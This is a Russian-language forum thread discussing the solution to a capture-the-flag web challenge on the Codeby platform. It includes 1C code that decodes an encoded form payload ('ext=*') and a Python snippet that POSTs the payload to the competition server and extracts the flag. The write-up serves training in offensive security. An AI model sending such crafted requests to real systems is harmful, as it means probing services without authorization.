• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Codeby Games Writeup. Нулевой заказ (Веб)

artesk

Cybercoliseum II
04.08.2023
2
6
BIT
13
Всем привет!


Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

1700486503698.png


1700486548210.png
 

Jackerinho

One Level
20.11.2023
1
1
BIT
0
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
 
  • Нравится
Реакции: Luxkerr

ALT1RE

Cybercoliseum II
11.10.2020
42
61
BIT
232
Есть гайд для самых маленьких как это будет выглядеть на c#/python? И откуда взялся paylaod?
Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад)));   
СпортивноеТело = "";
    
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;


где:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.

После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:
Python:
import requests 

response = requests.post('http://62.173.140.174:16028/', data=ПЕЙЛОАД, headers={'Content-Type': 'application/x-www-form-urlencoded'})

if response.ok:
    print(response.text[response.text.find("CODEBY{"):response.text.find("}", response.text.find("CODEBY{"), len(response.text))+1])
 
  • Нравится
Реакции: yetiraki

artesk

Cybercoliseum II
04.08.2023
2
6
BIT
13
Разбор для самых маленьких.

Это типичный код 1С-ника - возможно, им за кол-во строк кода платят, ибо я часто встречаю в исходниках строки типа "Если Число = 1 Тогда Число = 1; Иначе Число = 1; КонецЕсли;". А тут более изящный вариант (но может я еще слишком маленький чтобы понять великий замысел подобных изворотов):

За кадром строка полезной нагрузки была переведена в десятичное представление; после полученный массив ([101, 120, 116, 61, 42]) сериализован в формат строкового представления и полученная строка закодирована в Base64. Зачем - потому что можем.
Так получили пейлоад.

Далее в эксплойте раскручиваем все в обратном порядке, обзывая переменные якобы смешными именами:
Код:
УЙ = ЗначениеИзСтрокиВнутр(ПолучитьСтрокуИзДвоичныхДанных(Base64Значение(пейлоад))); 
СпортивноеТело = "";
  
Для Каждого Х из УЙ Цикл
    СпортивноеТело = СпортивноеТело + Символ(Х);
КонецЦикла;


где:
Код:
Base64Значение - Получает из строки закодированной по алгоритму base64 двоичные данные.
ПолучитьСтрокуИзДвоичныхДанных - Преобразует двоичные данные в строку с заданной кодировкой текста.
ЗначениеИзСтрокиВнутр - выполняет обратную операцию десериализации из строкового представления в программный объект
УЙ - массив десятичных чисел
Символ(Х) - Преобразует код символа в строку, содержащую символ.

После пейлоад добавляется в тело запроса, запрос отправляется и из полученного ответа регулярками достается флаг.

А на питоне это выглядело бы так:
Python:
import requests

response = requests.post('http://62.173.140.174:16028/', data=ПЕЙЛОАД, headers={'Content-Type': 'application/x-www-form-urlencoded'})

if response.ok:
    print(response.text[response.text.find("CODEBY{"):response.text.find("}", response.text.find("CODEBY{"), len(response.text))+1])
Нам(1Сникам) платят не за строчки, а за символы. Я хорошо поднялся на этом сниппете кода! Спасибо за детальный разбор
 
  • Нравится
Реакции: ALT1RE

Cruel Lord

Cybercoliseum II
29.08.2023
13
6
BIT
71
Всем привет!


Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Посмотреть вложение 72299

Посмотреть вложение 72300
Вот это вы заморочились)
 

veterok

Green Team
27.09.2016
15
8
BIT
7
Всем привет!


Второй колизей прошел и пришло время поделиться решениями. У нас подобралась сильная команда, ребята хорошо щёлкали крипту, реверс.. Но не хватало крепкого 1С-ника, чтобы команда могла претендовать на первые места. Мы вообще стараемся в своей работе использовать только отечественные тулзы.

Вот элегантный пример, как получить флаг в этом задании. Комментарии, думаю, излишни

Посмотреть вложение 72299

Посмотреть вложение 72300
Господа бандиты, не поясните пэйлоад {"#",51e7a0d2-530b-11d4-b98a-008048da3034,{5,{"N",101},{"N",120},{"N",116},{"N",61},{"N",42}}}?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!